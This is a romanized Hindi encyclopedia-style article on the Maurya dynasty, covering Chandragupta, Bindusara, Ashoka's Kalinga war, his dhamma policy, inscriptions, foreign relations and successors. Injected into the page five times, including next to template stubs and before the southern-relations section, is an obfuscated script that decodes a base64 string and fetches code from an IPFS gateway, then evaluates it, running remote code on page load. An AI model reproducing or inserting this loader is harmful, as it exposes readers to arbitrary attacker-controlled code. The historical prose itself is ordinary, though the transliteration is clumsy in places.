मौर्य काल
maury kal
| |
| vivaran | 'maury kal' prachin bharat ke itihas mean mahattvapoorn sthan rakhata hai. chandragupt maury, chanaky, bindusar tatha samrat ashok adi jaise prasiddh vyakti isi kal mean hue. |
| maury kal | 322-185 eesa poorv |
| pramukh shasak | chandragupt maury, bindusar, ashok, kunal |
| shasan | is kal mean keandriy shasan ka prachalan tha aur raja ko daiviy adhikar prapt the. |
| prasiddh nagar | pali evan sanskrit granthoan mean ullekhit magadh, pataliputr, takshashila, kaushaanbi, shravasti, ayodhya, kapilavastu, varanasi, vaishali, rajagir, kandhar adi nagar maury kal mean kafi samriddh the. |
| sanbandhit lekh | ashok ke shilalekh, mauryayugin puratatvik sanskriti, mauryakal mean das pratha, maury kal ka shasan prabandh, mauryakalin kala, bauddh dharm, maury samrajy ka patan |
| any janakari | mauryayugin puratatvik sanskriti mean uttari kali p aaulish ke mridabhaandoan ki jis sanskriti ka pradurbhav mahatma buddh ke kal mean hua tha, vah maury yug mean apani charam sima par drishtigochar hoti hai. is sanskriti ka vivaran uttar, uttar pashchim, poorv evan dakkan ke vihangam kshetr mean prasar ho chuka tha. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
maury rajavansh (322-185 eesa poorv) prachin bharat ka ek rajavansh tha. eesa poorv 326 mean sikandar ki senaean panjab ke vibhinn rajyoan mean vidhvansak yuddhoan mean vyast thian. madhy pradesh aur bihar mean nand vansh ka raja dhananand shasan kar raha tha. sikandar ke akraman se desh ke lie sankat paida ho gaya tha. dhananand ka saubhagy tha ki vah is akraman se bach gaya. yah kahana kathin hai ki desh ki raksha ka mauqa p dane par nand samrat yoonaniyoan ko pichhe hatane mean samarth hota ya nahian. magadh ke shasak ke pas vishal sena avashy thi, kintu janata ka sahayog use prapt nahian tha. praja usake atyacharoan se pi dit thi. asahy kar-bhar ke karan rajy ke log usase asantusht the. desh ko is samay ek aise vyakti ki avashyakata thi, jo magadh samrajy ki raksha tatha vriddhi kar sake. videshi akraman se utpann sankat ko door kare aur desh ke vibhinn bhagoan ko ek shasan-sootr mean baandhakar chakravarti samrat ke adarsh ko charitarth kare. shighr hi rajanitik manch par ek aisa vyakti prakat bhi hua. is vyakti ka nam tha- 'chandragupt'. jastin adi yoonani vidvanoan ne ise 'sendrokottas' kaha hai. viliyam j aauns pahale vidvanh the, jinhoanne sendrokottas' ki pahachan bharatiy granthoan ke 'chandragupt' se ki hai. yah pahachan bharatiy itihas ke tithikram ki adharashila ban gee hai.
chandragupt maury
chandragupt ke vansh aur jati ke sambandh mean vidvanh ekamat nahian haian. kuchh vidvanoan ne brahman granthoan, mudrarakshas, vishnupuran ki madhyakalin tika tatha 10vian shatabdi ki dhundiraj dvara rachit 'mudrarakshas' ki tika ke adhar par chandragupt ko 'shoodr' mana hai. chandragupt ke vansh ke sambandh mean brahman, bauddh evan jain paramparaoan v anushrutiyoan ke adhar par keval itana hi kaha ja sakata hai ki vah kisi kulin gharane se sambandhit nahian tha. videshi vrittaantoan evan ullekhoan se bhi sthiti kuchh aspasht hi bani rahati hai.
rajanitik paristhitiyaan
jis samay chandragupt maury samrajy ke nirman mean tatpar tha, sikandar ka senapati selyookas apani mahanata ki nianv dal raha tha. sikandar ki mrityu ke bad usake senaniyoan mean yoonani samrajy ki satta ke lie sangharsh hua, jisake parinamasvaroop selyookas, pashchim eshiya mean prabhutv ke mamale mean, aintigonas ka pratidvandvi bana. ee. poo. 312 mean usane bebilon par apana adhikar sthapit kiya. isake bad usane eeran ke vibhinn rajyoan ko jitakar baiktriya par adhikar kiya. apane poorvi abhiyan ke dauran vah bharat ki or badha. ee. poo. 305-4 mean kabul ke marg se hote hue vah siandhu nadi ki or badha. usane siandhu nadi par ki aur chandragupt ki sena se usaka samana hua. selyookas panjab aur siandhu par apana prabhutv punah sthapit karane ke uddeshy se aya tha. kintu is samay ki rajanitik sthiti sikandar ke akraman ke samay se kafi bhinn thi. panjab aur siandhu ab paraspar yuddh karane vale chhote-chhote rajyoan mean vibhikt nahian the, balki ek samrajy ka aang the. ashchary ki bat hai ki yoonani tatha romi lekhak, selyookas aur chandragupt ke bich hue yuddh ka koee vistrit byaura nahian dete.
- keval eppiyanas ne likha hai ki- "selyookas ne siandhu nadi par ki aur bharat ke samrat chandragupt se yuddh chhe da. aant mean unamean sandhi ho gee aur vaivahik sambandh sthapit ho gaya."
- jastin ke anusar chandragupt se sandhi karake aur apane poorvi rajy ko shant karake selyookas entigonas se yuddh karane chala gaya. eppiyanas ke kathan se spasht hai ki selyookas chandragupt ke viruddh saphalata prapt nahian kar saka. apane poorvi rajy ki suraksha ke lie selyookas ne chandragupt se sandhi karana hi uchit samajha aur us sandhi ko usane vaivahik sambandh se aur adhik pusht kar liya.
bindusar
- chandragupt ki mrityu ke pashchath usaka putr 'bindusar' samrat bana. yoonani lekhoan ke anusar usaka nam 'amitrakete' tha. vidvanoan ke anusar 'amitrakete' ka sanskrit roop hai- 'amitraghat' ya 'amitrakhad' arthat "shatruoan ka nash karane vala".
- straivo ke anusar selyookas ke uttaradhikari 'entiyokas pratham' ne apana rajadoot 'dayamekas' bindusar ke darabar mean bheja tha.
- plini ke anusar 't aaulami dvitiy' philedelphas ne dayoniyas ko bindusar ke darabar mean niyukt kiya.
- apane pita ki bhaanti bindusar bhi jijnasu tha aur vidvanoan tatha darshanikoan ka adar karata tha. aitheniyas ke anusar bindusar ne entiyokas (siriya ka shasak) ko ek yoonani darshanik bhejane ke lie likha tha. divyavadan ki ek katha ke anusar ajivak parivrajak bindusar ki sabha ko sushobhit karate the.
- puranoan ke anusar bindusar ne 24 varsh tak, kintu mahavansh ke anusar 27 varsh tak rajy kiya. d aau. radha kumud mukharji ne bindusar ki mrityu tithi eesa poorv 272 nirdharit ki hai. kuchh any vidvanh yah manate haian ki bindusar ki mrityu eesa poorv 270 mean huee.
ashok
ashok
Ashoka|thumb|250px
ashok (kal eesa poorv 269-232) prachin bharat mean maury rajavansh ka raja tha. ashok ka 'devanam priy' evan 'priyadarshi' adi namoan se bhi ullekh kiya jata hai. usake samay maury rajy uttar mean hindukush ki shreniyoan se lekar dakshin mean godavari nadi ke dakshin tatha maisoor, karnatak tak tatha poorv mean bangal se pashchim mean afaganistan tak pahuanch gaya tha. yah us samay tak ka sabase b da bharatiy samrajy tha. samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ke bhakt ho gaya aur unhian mahatma buddh ki smriti mean unhoanne ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal-lumbini mean mayadevi mandir ke pas ashok shtamhbh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drishtikon ki abhivyakti ki gee hai|
biandusar ka putr "ashok mahan"
ashok prachin bharat ke maury samrat biandusar ka putr tha, jisaka janm lagabhag 304 ee. poorv mean mana jata hai. bhaiyoan ke sath grih-yuddh ke bad 272 ee. poorv ashok ko rajagaddi mili aur 232 ee. poorv tak usane shasan kiya. aranbh mean ashok bhi apane pitamah chandragupt maury aur pita biandusar ki bhaanti yuddh ke dvara samrajy vistar karata gaya. kashmir, kaliang tatha kuchh any pradeshoan ko jitakar usane sanpoorn bharat mean apana samrajy sthapit kar liya, jisaki simaean pashchim mean eeran tak phaili huee thian. parantu kaliang yuddh mean jo janahani huee usaka ashok ke hriday par b da prabhav p da aur vah hiansak yuddhoan ki niti chho dakar dharm vijay ki or agrasar hua. ashok ki prasiddhi itihas mean usake samrajy vistar ke karan nahian varanh dharmik bhavana aur manavatavad ke pracharak ke roop mean adhik hai.
bindusar ki mrityu ke bad ashok raja hua. ashok ke sambandh mean janakari prapt karane mean pramukh sadhan usake shilalekh tatha stanbhoan par utkirn abhilekh haian. kintu ye abhilekh ashok ke prarambhik jivan par koee prakash nahian dalate. inake lie hamean sanskrit tatha pali mean likhe hue bauddh granthoan par hi nirbhar rahana p data hai. paramparanusar ashok ne apane bhaiyoan ka hanan karake sianhasan prapt kiya tha.
takshashila aur kaliang
apane rajyabhishek ke navean varsh tak ashok ne maury samrajy ki paramparagat niti ka hi anusaran kiya. ashok ne desh ke andar samrajy vistar kiya, kintu doosare deshoan ke sath maitripoorn vyavahar ki niti apanaee.
bharat ke andar ashok ek vijeta raha. usane khas, nepal ko vijit kiya aur takshashila ke vidroh ka shant kiya. apane rajyabhishek ke navean varsh mean ashok ne kaliang par vijay prapt ki. aisa pratit hota hai ki nand vansh ke patan ke bad kaliang svatantr ho gaya tha. plini ki pustak mean uddhat megasthaniz ke vivaran ke anusar chandragupt maury ke samay mean kaliang ek svatantr rajy tha. 'ashok ke shilalekh' ke anusar yuddh mean mare ge tatha qaid kie hue sipahiyoan ki sankhya dhaee lakh thi aur isase bhi kee gune sipahi yuddh mean ghayal hue the. magadh ki simaoan se ju de hue aise shaktishali rajy ki sthiti ke prati magadh shasak udasin nahian rah sakata tha. kharavel ke samay magadh ko kaliang ki shakti ka katu anubhav tha. suraksha ki drishti se kaliang ka jitana avashyak tha. kuchh itihasakaroan ke anusar kaliang ko jitane ka doosara karan bhi tha. dakshin ke sath sidhe sampark ke lie samudri aur sthal marg par mauryoan ka niyantran avashyak tha. kaliang yadi svatantr desh rahata to samudri aur sthal marg se hone vale vyapar mean rukavat p d sakati thi. atah kaliang ko magadh samrajy mean milana avashyak tha. kintu yah koee prabal karan pratit nahian hota, kyoanki is drishti se to chandragupt ke samay se hi kaliang ko magadh samrajy mean mila lena chahie tha. kautily ke vivaran se spasht hai ki vah dakshin ke sath vyapar ka mahattv deta tha. vijit kaliang rajy magadh samrajy ka ek aang ho gaya. rajavansh ka koee rajakumar vahaan vaisaray (uparaja) niyukt kar diya gaya. tosali is prant ki rajadhani banaee gee thi.
hriday parivartan
kaliang yuddh mean hue narasanhar tatha vijit desh ki janata ke kasht se ashok ki aantaratma ko tivr aghat pahuancha. yuddh ki bhishanata ka ashok par gahara prabhav p da. ashok ne yuddh ki niti ko sada ke lie tyag diya aur 'digvijay' ke sthan par 'dhamm vijay' ki niti ko apanaya. d aau. hemachandr rayachaudhari ke anusar magadh ka samrat banane ke bad yah ashok ka pratham tatha antim yuddh tha.
samrajy ki sima
ashok ke shilalekhoan tatha stanbhalekhoan se ashok ke samrajy ki sima ki thik janakari prapt hoti hai. shila tatha stanbhalekhoan ke vivaran se hi nahian, varanh jahaan se abhilekh pae ge haian, un sthanoan ki sthiti se bhi sima nirdharan karane mean sahayata milati hai. in abhilekhoan mean janata ke lie raja ki ghoshanaean thian. atah ve ashok ke vibhinn prantoan mean abadi ke mukhy kendroan mean utkirn karae ge. kuchh abhilekh simaant sthanoan par pae jate haian. uttar-pashchim mean shahabazagadhi aur manasehara mean ashok ke shilalekh pae ge. isake atirikt takshashila mean aur qabul pradesh mean lamagan mean ashok ke lekh aramaik lipi mean milate haian. ek shilalekh mean entiyokas dvitiy thiyos ko p dosi raja kaha gaya hai. isase spasht hai ki uttar-pashchim mean ashok ke samrajy ki sima hindukush tak thi.
shilalekh aur stoop
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Brahmi Lipi-1.jpg|220px|thumb|brahmi lipi]] poorv mean bangal tak maury samrajy ke vistrit hone ki pushti mahasthan shilalekh se hoti hai. yah abhilekh brahmi lipi mean hai aur maury kal ka mana jata hai. 'mahavansh' ke anusar ashok apane putr ko vida karane ke lie tamralipti tak aya tha. chini yatri hvenasaang ko bhi tamralipti, karnasuvarn, samatat, poorvi bangal tatha pundravardhan mean ashok ke stoop dekhane ko mile the. 'divyavadan' mean kaha gaya hai ki ashok ke samay tak bangal magadh samrajy ka hi ek aang tha. asam kadachith maury samrajy se bahar tha. vahaan par ashok ke koee smarak chini yatri ko dekhane ko nahian mile.
rajyoan se sanbandh
yadyapi ashok ka samrajy vistrit tha tathapi samrajy ke aantargat sabhi deshoan par usaka sidha shasan tha. ashok ke paanchave aur terahavean shilalekh mean kuchh janapadoan tatha jatiyoan ka ullekh kiya gaya hai. jaise- yavan, kamboj, nabhak, nabhapankti, bhoj, pitanik, andhr, puliand. repsan ka vichar hai ki ye desh tatha jatiyaan ashok dvara jite ge rajy ke aantargat n hokar prabhav kshetr mean the.
dharm parivartan
isamean koee sandeh nahian ki apane poorvajoan ki tarah ashok bhi brahman dharm ka anuyayi tha. 'mahavansh' ke anusar vah pratidin 60,000 brahmanoan ko bhojan diya karata tha aur anek devi-devataoan ki pooja kiya karata tha. kalhan ki 'rajatarangini' ke anusar ashok ke isht dev bhagavan shiv the. pashubali mean use koee hichak nahian thi. kintu apane poorvajoan ki tarah vah jijnasu bhi tha. maury rajy sabha mean sabhi dharmoan ke vidvanh bhag lete the, jaise- brahman, darshanik, nigranth, ajivak, bauddh tatha yoonani darshanik.
sansar ke itihas mean ashok isalie vikhyat hai ki usane nirantar manav ki naitik unnati ke lie prayas kiya. jin siddhaantoan ke palan se yah naitik utthan sambhav tha, ashok ke lekhoan mean unhean 'dhamm' kaha gaya hai. doosare tatha satavean stanbh-lekhoan mean ashok ne dhamm ki vyakhya is prakar ki hai- "dhamm hai sadhuta, bahut se kalyanakari achchhe kary karana, paparahit hona, mriduta, doosaroan ke prati vyavahar mean madhurata, daya-dan tatha shuchita." age kaha gaya hai ki- "praniyoan ka vadh n karana, jivahiansa n karana, mata-pita tatha b doan ki ajna manana, gurujanoan ke prati adar, mitr, parichitoan, sambandhiyoan, brahman tatha shravanoan ke prati danashilata tatha uchit vyavahar aur das tatha bhrityoan ke prati uchit vyavahar."
bauddh dharm
isamean koee sandeh nahian ki ashok bauddh dharm ka anuyayi tha. sabhi bauddh granth ashok ko bauddh dharm ka anuyayi batate haian. ashok ke bauddh hone ke sabal praman usake abhilekh haian. rajyabhishak se sambaddh laghu shilalekh mean ashok ne apane ko 'buddhashaky' kaha hai. sath hi yah bhi kaha hai ki vah dhaee varsh tak ek sadharan upasak raha. bhabru laghu shilalekh mean ashok triratn- buddh, dhamm aur sangh mean vishvas karane ke lie kahata hai aur bhikshu tatha bhikshuniyoan se kuchh bauddh granthoan ka adhyayan tatha shravan karane ke lie kahata hai.
dharm sanbandhi shilalekh
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Brahmi Lipi-3.jpg|thumb|ashok ke shilalekh|220px]] shilaoan tatha stanbhoan par utkirn lekhoan ke anushilan se ham is nishkarsh par pahuanchate haian ki 'ashok ka dhamm' vyavaharik phalamoolak (arthat phal ko drishti mean rakhane vala) aur atyadhik manaviy tha. is dharm ke prachar se ashok apane samrajy ke logoan mean tatha bahar achchhe jivan ke adarsh ko charitarth karana chahata tha. isake lie usane jahaan kuchh batean lakar bauddh dharm mean sudhar kiya, vahian logoan ko dharm parivartan ke lie vivash nahian kiya.
mahattvapoorn yah hai ki ek shasak jisake pas nirankush qanooni vidhan, vishal sena evan aparimit sansadhan ho, vah apane shilalekhoan mean svayan ko naitik moolyoan ke vistarak ke roop mean prastut kyoan karata hai? vastutah yogy v kushal shasakoan ki niyuktiyaan sadaiv samrajy ki raksha ke lie nirmit ki jati haian| bauddh dharm ki shiksha ke keandr magadh mean janamanas mean shoshan ke viruddh vyapak chetana thi. samrat ashok ko bauddh dharm ka prachar karane aur stoopadi ko nirmit karane ki prerana dharmachary upagupt ne hi di. jab bhagavan buddh doosari bar mathura aye, tab unhoanne bhavishyavani ki aur apane priy shishy anand se kaha ki- "kalaantar mean yahaan 'upagupt' nam ka ek prasiddh dharmik vidvanh hoga, jo unhian ki tarah bauddh dharm ka prachar karega aur usake upadesh se anek bhikshu yogyata aur pad prapt kareange." is bhavishyavani ke anusar upagupt ne mathura ke ek vanik ke ghar janm liya. usaka pita sugandhit dravyoan ka vyapar karata tha. upagupt atyant roopavan aur pratibhashali tha. upagupt kishoravastha mean hi virakt hokar bauddh dharm ka anuyayi ho gaya tha. anand ke shishy 'shanakavasi' ne upagupt ko mathura ke nat-bhat vihar mean bauddh dharm ke 'sarvastivadi sanpraday' ki diksha di thi. kintu bauddh anushrutiyoan aur ashok ke abhilekhoan se yah siddh nahian hota ki usane kisi rajanitik uddeshy se dhamm ka prachar kiya. terahavean shilalekh aur laghu shilalekh se vidit hota hai ki ashok dharm parivartan ka kaliang ke yuddh se nikat sambandh hai. itihasakar romila thapar ka mat hai ki dhamm kalpana ashok ki niji kalpana thi.
ahiansa ka prachar
ashok ne dhamm prachar ke lie b di lagan aur utsah se kam kiya. ahiansa ke prachar ke lie ashok ne kee qadam uthae. usane yuddh band kar die aur svayan ko tatha rajakarmachariyoan ko manav-matr ke naitik utthan mean lagaya. jivoan ka vadh rokane ke lie ashok ne pratham shilalekh mean vikshapti jari ki ki kisi yajn ke lie pashuoan ka vadh n kiya jae.
videshoan se sambandh
dhamm prachar evan dhamm vijay ke sandarbh mean ashok ke shilalekhoan mean kuchh aise vivaran bhi milate haian, jinamean usake evan videshoan ke parasparik sambandhoan ka abhas milata hai. ye sambandh kootaniti evan bhaugolik sannidhy ke hitoan par adharit the. ashok ne jo sampark sthapit kie, ve adhikaanshatah dakshin evan pashchim kshetroan mean the aur dhamm mishanoan ke madhyam se sthapit kie the. in mishanoan ki tulana adhunik sadabhavana mishanoan se ki ja sakati hai. ashok ke ye mishan sthayi taur par videshoan mean ek ashcharyajanak tathy haian ki stanbh abhilekh nan. 7, jo ashok ke kal ki akhiri ghoshana mani jati hai, tamraparn (shrilanka) ke atirikt aur kisi videshi shakti ka ullekh nahian karati. shayad videshoan mean ashok ko unati saphalata nahian mili jitani samrajy ke bhitar. phir bhi itana kaha ja sakata hai ki videshoan se sampark ke jo dvar sikandar ke akraman ke pashchath khule the, ve ab aur adhik chau de ho ge.
yavan, kamboj evan gaandhar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Kharoshthi Script 4.jpg|thumb|kharoshthi lipi|270px]] jahaan tak pashchimi shaktiyoan ka sambandh hai, shilalekh 5 evan 13 mean yavanoan, kambojoan evan gaandharoan ka ullekh hai. kintu uttar-pashchim ki in shaktiyoan ke pashchim mean bhi kuchh aisi shaktiyaan thian, jo ki sikandar ke akraman ke bad sthapit ho gee thian aur samany roop se yavan thian. inamean se kuchh ko ashok ne nam lekar abhihit kiya hai. ek sthan par ashok ne kaha hai ki- "usake dhamm mishan simavarti rajyoan aur 600 yojan jaise sudoor kshetroan mean bhi pahuanche the". shilalekh 2 evan 13 mean yavan naresh aantiyok ka ullekh hai, jo akhamani shasak entiyokas dvitiy mana jata hai. kaha jata hai ki ashok ne vishal patthar par ek abhilekh utkirn karavaya, jisaki ghoshanaoan ki shaili akhamani praroop se prerit thi. bhashashastriy adhyayan se bhi in samparkoan ki pushti hoti hai. ashok ke shahabajagadhi evan manasehara shilalekhoan mean kharoshthi lipi ka prayog evan kuchh eerani shabdoan ka prayog bhi isi or sanket karate haian. rudradaman ke joonagadh abhilekh mean aparant (pashchim bharat) mean ashok ke gavarnar ke roop mean yonaraj tufask ka nam milata hai, jo spashtatah ek eerani nam hai. pashchim ke hi kuchh any nareshoan ke nam ashok ke shilalekh nan. 13 mean milate haian-
- 'turamay' arthath 'tulamay' - misr ka yavan naresh talmi dvitiy philadelphas (ee. poo. 285-47) tha.
- 'aantikitani' arthath 'aantekin' - mesidoniya ka yavan naresh aintigonas gonatas (ee. poo. 277-39).
- 'maka' arthath 'maga' - uttari aphrika mean serin ka yavan naresh maga (ee. poo. 282-58).
- 'alikasundar' - aipiras ka yavan naresh elekzedar (ee. poo. 272-55) athava korins ka yavan naresh elekzedar (ee. poo. 252-44).
(ye char naresh aantiyok ke rajy ke pare batae jate haian.)
dakshin
|
chitr:Blockquote-open.gif 100px|righthar dasha mean doosare sampradayoan ka adar karana hi chahie. aisa karane se manushy apane sampraday ki unnati aur doosare sampradayoan ka upakar karata hai. isake viparit jo karata hai, vah apane sampraday ki (j d) katata hai aur doosare sampradayoan ka bhi apakar karata hai. kyoanki jo apane sampraday ki bhakti mean akar is vichar se ki mere sampraday ka gaurav badhe, apane sampraday ki prashansa karata hai aur doosare sampraday ki ninda karata hai, vah aisa karake vastav mean apane sampraday ko hi gahari hani pahuanchata hai. isalie samavay (paraspar melajol se rahana) hi achchha hai arthath log ek-doosare ke dharm ko dhyan dekar sunean aur usaki seva karean. - samrat ashok mahan[1] devataoan ke priy priyadarshi raja aisa kahate haian... maianne yah (prabandh) kiya ki har samay chahe maian khata hoooan ya antahpur mean rahooan ya garbhagar (shayanagrih) mean hoooan ya tahalata hoooan ya savari par hoooan ya kooch kar raha hoooan, sabhi jagah kisi bhi samay par, prativedak (guptachar) praja ka hal mujhe sunavean. maian praja ka kam sabhi jagah par karata hooan.… kyoanki maian kitana hi parishram karooan aur kitana hi rajakary karuan mujhe santosh nahian hota. sab logoan ka hit karana hi maian apana pradhan kartavy samajhata hooan. par sabhi logoan ka hit, parishram aur rajakary sampadan ke bina nahian ho sakata. sabhi logoan ka hit karane se badhakar aur koee kary nahian hai. jo kuchh bhi parakram karata hooan, vah isilie ki praniyoan ke prati jo mera rrin hai, usase urrin ho jaooan… adhik parishram ke bina yah kary kathin hai.- samrat ashok mahan[2]
chitr:Blockquote-close.gif |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dakshin mean maury prabhav ke prasar ki jo prakriya chandragupt maury ke kal mean arambh huee, vah ashok ke netritv mean aur bhi adhik pusht huee. lagata hai ki chandragupt ki sainik prasar ki niti ne vah sthayi saphalata nahian prapt ki, jo ashok ki dhamm vijay ne ki thi. gavimath, palaki gundu, brahmagiri, maski, yerragundi, jatiang rameshvar adi sthaloan par sthit ashok ke shilalekh isake praman haian. aur phir parivarti kalin sahity mean, vishesh roop se dakshin mean ashokaraj ki parampara kafi prachalit pratit hoti hai. hyoonatsaang ne to chol-pandy rajyoan mean, jinhean svayan ashok ke shilalekh 2 evan 13 mean simavarti pradesh bataya gaya hai, bhi ashokaraj ke dvara nirmit anek stoopoan ka varnan kiya hai. yah sambhav hai ki kaliang mean ashok ki sainik vijay aur phir usake pashchath unake sauhardapoorn niti ne bhoj, pattanik, aandhroan, rashtrikoan, satiyaputroan evan keral putroan jaisi shaktiyoan ke bich maury prabhav ke prasar ko badhaya hoga. ashok aur shrilanka ke sambandh parasparik sadabhav, adar-samman evan barabari par adharit the, n ki samrajyik shakti evan ashrit shakti ke parasparik sambandhoan par.
uparyukt videshi shaktiyoan ke atirikt kuchh kshetr aise bhi haian, jinake sambandh mean kuchh paramparaean evan kianvadantiyaan prapt haian. udaharanarth kashmir sambhavatah any simavarti pradeshoan ki tarah hi ashok ke samrajy se ju da tha. madhy eshiya mean sthit khotan ke rajy ke bare mean ek tibbati parampara hai ki buddh ki mrityu ke 250 varsh ke bad arthath ee. poo. 236 mean ashok khotan gaya tha. sambhavatah yah bhi dhamm mishan ke roop mean hua hoga, kintu yah drishtavy hai ki svayan ashok ke abhilekhoan mean isaka koee ullekh nahian hai. isi prakar nepal ka kuchh aansh ashok ki yatra ke upalakshy mean vahaan ke karoan ko kam karana kisi videshi rajy mean sambhav nahian tha. phir bhi nepal ka shesh aansh sambhavatah maury samrajy se ghanishth sambandh banae hue hoga.
ashok shasak ke roop mean
shasak sangathan ka praroop lagabhag vahi tha, jo chandragupt maury ke samay mean tha. ashok ke abhilekhoan mean kee adhikariyoan ka ullekh milata hai. jaise rajuku, pradeshik, yuktak adi. inamean adhikaansh rajyadhikari chandragupt ke samay se chale a rahe the. ashok ne dharmik niti tatha praja ke kalyan ki bhavana se prerit hokar unake kartavyoan mean vistar kiya. keval dhamm mahamatroan ki niyukti ek navin prakar ki niyukti thi. bauddh dharm grahan karane ke pashchath ashok ne dhamm prachar ke lie b di lagan aur utsah se kam kiya. parantu shasan ke prati vah qatee udasin nahian hua. 40 varsh tak rajy karane ke bad lagabhag ee. poo. 232 mean ashok ki mrityu huee. usake bad lagabhag 50 varsh tak ashok ke anek uttaradhikariyoan ne shasan kiya. kintu in maury shasakoan ke sambandh mean hamara jnan aparyapt tatha anishchit hai. puran, bauddh tatha jain anushrutiyoan mean in uttaradhikariyoan ke namoan ki jo soochiyaan di gee haian, ve ek-doosare se mel nahian khati haian.
brahmanoan ka samman
shilalekhoan mean aisi paryapt samagri milati hai, jisase yah siddh hota hai ki ashok brahmanoan ka adar karata tha, unaki bhalaee mean dilachaspi leta tha. vah brahmanoan aur shramanoan ko dan deta tha. ashok ke putroan tatha brahmanoan ke bich sangharsh ka koee praman nahian milata. isake viparit yadi kashmir ke brahman itihasakar kalhan par vishvas kiya jae to ashok ke uttaradhikari 'jalauk' aur brahmanoan ke sambandh nitaant maitripoorn the. pushyamitr shuang ka maury samrajy ka senapati niyukt kiya jana hi ek prabal praman hai ki mauryoan ki niti brahman virodhi nahian thi.
ashok ki shantipriyata tatha ahiansa
hemachandr rayachaudhari ke anusar ashok ki shantipriyata tatha ahiansa ki niti samrajy ke patan ka karan bani. kaliang yuddh ke bad samrajy ki sena ka samarik utsah thanda p d gaya. ashok ne ashok ne yuddh vijay ki niti ko tyagakar dhamm vijay ki niti apana li. isase bhi samrajy ki shakti kshin huee. usane apane putroan ko vilay aur raktapat n karane ka upadesh diya. usake uttaradhikari 'bherighosh' ki apeksha 'dhamm ghosh' se adhik parichit the. sena se rajaoan ka sampark kam raha. ve desh ki ekata ko vighatit hone se bacha n sake. rajaoan ka sena se kitana kam sampark tha yah is bat se spasht hai ki pushyamitr shuang ne sena ke hi samaksh antim maury shasak brihadrath ka vadh kiya.
kee itihasakar hemachandr rayachaudhari ke is mat se sahamat nahian haian. nilakanth shastri ke anusar ashok ki shantipriyata mean kattarata nahian thi. vah manaviy svabhav ki jatilata se achchhi tarah parichit tha aur isalie usane shantipriyata aur yuddhatyag ki niti ko sima ke andar hi niyantrit rakha. isaka koee praman nahian hai ki ashok ne sena bhang kar di. terahavean shilalekh mean ashok ne atavik jatiyoan ko jo chetavani di hai, usase spasht hai ki kshamashil hote hue bhi vah avasar p dane par in atavik jatiyoan ko uchit dand dene se hichakata nahian tha. yah atavik rajyoan ko ek shaktishali raja ki chetavani hai, jise apani sainyashakti par vishvas hai. ashok ki niti vyavaharik thi. isilie usane kaliang ko svatantr nahian kiya. usaki ahiansa ki niti bhi vyavaharik thi.
ashok ke bad
puranoan ke anusar ashok ke bad 'kunal' gaddi par baitha. 'divyavadan' mean use 'dharmavivardhan' kaha gaya hai, kintu ashok ke aur bhi putr the. 'rajatarangini' ke anusar jalauk kashmir ka svatantr shasak ban gaya. taranath ke anusar 'virasen' ashok ka putr tha, jo gaandhar ka svatantr shasak ban gaya. is prakar ham dekhate haian ki ashok ki mrityu ke bad hi samrajy ka vighatan ho gaya. kunal aandha tha, atah vah shasan kary mean asamarth tha. jain tatha bauddh granthoan ke anusar shasan ki bagador usake putr sanprati ke hath mean thi. in anushrutiyoan ke anusar sanprati hi kunal ka uttaradhikari tha. puranoan tatha nagarjuni paha diyoan ki gufaoan ke shilalekh ke anusar 'dasharath' kunal ka putr tha. nagarjuni gufaoan ko dasharath ne ajivikoan ko dan mean diya tha. in pramanoan ke adhar par yah mat prastut kiya gaya ki magadh samrajy do bhagoan mean vibhakt ho gaya. dasharath ka adhikar samrajy ke poorvi bhag mean tatha sanprati ka pashchimi bhag mean tha. 'vishnu puran' tatha 'gargi sanhita' ke anusar sanprati tatha dasharath ke bad ullekhaniy maury shasak 'salisuk' tha. use sanprati ka putr brihaspati bhi mana ja sakata hai. puranoan mean hi nahian varanh 'harshacharit' mean bhi magadh ke antim samrat ka nam 'brihadrath' diya gaya hai. inake anusar maury vansh ke antim samrat brihadrath ki, usake senapati pushyamitr ne hatya kar di aur svayan sianhasan par aroodh ho gaya.
mahendr aur putri sanghamitra
